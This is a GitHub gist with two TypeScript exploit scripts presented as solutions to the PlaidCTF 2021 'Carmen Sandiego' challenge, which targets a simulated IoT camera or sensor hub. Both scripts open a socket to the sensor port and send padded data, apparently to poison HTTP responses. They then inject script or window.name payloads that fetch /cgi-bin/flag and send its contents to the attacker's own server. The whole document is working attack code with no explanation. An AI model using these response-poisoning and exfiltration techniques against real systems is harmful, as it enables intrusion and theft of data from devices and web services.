Skip to content

Instantly share code, notes, and snippets.

@bluepichu
Created April 18, 2021 21:58
Show Gist options
  • Select an option

  • Save bluepichu/6898d0f15f9b58ba5a0571213c3896a2 to your computer and use it in GitHub Desktop.

Select an option

Save bluepichu/6898d0f15f9b58ba5a0571213c3896a2 to your computer and use it in GitHub Desktop.
PlaidCTF 2021 Carmen Sandiego solutions
import express from "express";
import { Socket } from "net";
import { PromiseSocket } from "promise-socket";
import morgan from "morgan";
const { TARGET_IP, SENSOR_PORT, SENSOR_TOKEN } = process.env;
const packetSize = 1448;
const SELF = "whatevermyipis:12345";
const TARGET = "iot.hub";
let connected = false;
const socket = new PromiseSocket(new Socket());
const socketOk = async () => {
let data = await socket.read();
if (!data?.toString().includes("ok\n")) {
await socketOk();
}
};
const app = express();
app.use((req, res, next) => {
next();
});
app.use(morgan("dev"));
app.get("/flag", (req, res) => {
console.log(req.query.flag);
res.send("pwn'd");
});
app.get("/", async (req, res) => {
await init();
res.redirect(`http://${TARGET}/data/snapshot/target`);
});
const BIG_CONTENT = "A".repeat(packetSize * 400);
app.get("/pwn", async (req, res) => {
const payload = `<script>fetch("/cgi-bin/flag").then((r) => r.text()).then((flag) => fetch("http://${SELF}/flag?flag="+flag))</script>`;
await snapshot("a", BIG_CONTENT + `
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: ${payload.length}
${payload}
`);
res.status(200).send();
});
async function snapshot(name: string, value: string) {
socket.write(`${name}\n`);
socket.write(`${value.length}\n`);
socket.write(value);
await socketOk();
}
async function init() {
if (!connected) {
await socket.connect(parseInt(SENSOR_PORT!, 10), TARGET_IP);
console.log("connected");
await socket.read();
await socket.write(SENSOR_TOKEN! + "\n");
await socket.read();
}
console.log("writing snapshots");
await snapshot("a", BIG_CONTENT);
await snapshot("b", "hi");
await snapshot("c", "hi");
await snapshot("d", "hi");
await snapshot("e", "hi");
await snapshot("target", `
<!DOCTYPE html>
<img src="http://${SELF}/pwn" />
<iframe src="http://${TARGET}/data/snapshot/a"></iframe>
<iframe src="http://${TARGET}/cgi-bin/restart?camera=a"></iframe>
<iframe src="http://${TARGET}/cgi-bin/restart?camera=b"></iframe>
<iframe src="http://${TARGET}/cgi-bin/restart?camera=c"></iframe>
<iframe src="http://${TARGET}/cgi-bin/restart?camera=d"></iframe>
<iframe src="http://${TARGET}/cgi-bin/restart?camera=e"></iframe>
<iframe src="http://${TARGET}/win"></iframe>
`);
console.log("ready!");
}
async function run() {
app.listen(12345);
}
run();
import express from "express";
import { Socket } from "net";
import { PromiseSocket } from "promise-socket";
import { readFile } from "fs/promises";
import morgan from "morgan";
const { TARGET_IP, SENSOR_PORT, SENSOR_TOKEN } = process.env;
const packetSize = 1448;
const SELF = "whatevermyipis:12345";
const TARGET = "iot.hub";
const payload = [
"document.body.innerHTML+=window.name",
"window.parent.location=window.name+window.parent.document.body.lastElementChild.contentWindow.document.body.firstChild.innerText"
];
const windowName = `<iframe name="http://${SELF}/flag?flag=" src="/"></iframe><iframe src="/cgi-bin/flag"></iframe>`;
const redirectTargets = [
{ from: "/data/index.html", to: "data.txt" },
{ from: "/main.js", to: "data" }
];
const socket = new PromiseSocket(new Socket());
const socketOk = async () => {
let data = await socket.read();
if (!data?.toString().includes("ok\n")) {
await socketOk();
}
};
const app = express();
app.use((req, res, next) => {
console.log("processing", req.url);
next();
});
app.use(morgan("dev"));
let phase = 0;
app.get("/flag", (req, res) => {
console.log(req.query.flag);
res.send("pwn'd");
});
app.get("/", async (req, res) => {
if (phase === 0) {
await init();
}
if (phase < redirectTargets.length) {
const poison =
`<img src="http://${SELF}/pwn?to=${redirectTargets[phase].to}" />`
+ `<iframe src="/data/data.txt?${phase}"></iframe>`
+ `<iframe src="?sensor=a"></iframe>`
+ `<iframe src="?sensor=b"></iframe>`
+ `<iframe src="?sensor=c"></iframe>`
+ `<iframe src="?sensor=d"></iframe>`
+ `<iframe src="?sensor=e"></iframe>`
+ `<iframe src="${redirectTargets[phase].from}"></iframe>`
+ `<meta http-equiv="refresh" content="0;http://${SELF}">`;
console.log(poison.length, poison);
res.redirect(`http://${TARGET}/cgi-bin/restart?sensor=${encodeURIComponent(poison)}`);
} else {
res.send(`
<script>
window.name = '${windowName}';
window.location = "http://${TARGET}/jst/index.jst";
</script>
`);
}
phase++;
});
app.get("/pwn", async (req, res) => {
const to = req.query.to as string;
console.log("sploitin'");
await push([["http", "301"], ["location", to], ["a", "1".repeat(packetSize - 44 - to.length)]]);
res.status(200).send();
});
async function push(fields: [string, string][]) {
for (let [key, value] of fields) {
socket.write(`${key}: ${value}\n`);
}
socket.write("\n");
await socketOk();
}
async function pushBytes(n: number, name?: string) {
console.log("going to write", n - 23);
await push([[name ?? "a", "1".repeat(n - 23)]]);
}
async function advancePacket(name?: string) {
await pushBytes(packetSize, name);
}
async function advanceManyPackets(n: number) {
await pushBytes(packetSize * n);
}
async function init() {
console.log("called init, setting up sensor feed");
await socket.connect(parseInt(SENSOR_PORT!, 10), TARGET_IP);
console.log("connected");
await socket.read();
await socket.write(SENSOR_TOKEN! + "\n");
await socket.read();
await push([
...payload.map((pl, i) => [String.fromCharCode(0x61 + i), pl] as [string, string]),
[String.fromCharCode(0x61 + payload.length), "1".repeat(packetSize - payload.reduce((a, b) => a + b.length + 4, 0) - 23)]
]);
await advancePacket("a");
await advancePacket("b");
await advancePacket("c");
await advancePacket("d");
await advancePacket("e");
await advancePacket("f");
await advanceManyPackets(300);
console.log("ready!");
}
async function run() {
app.listen(12345);
}
run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment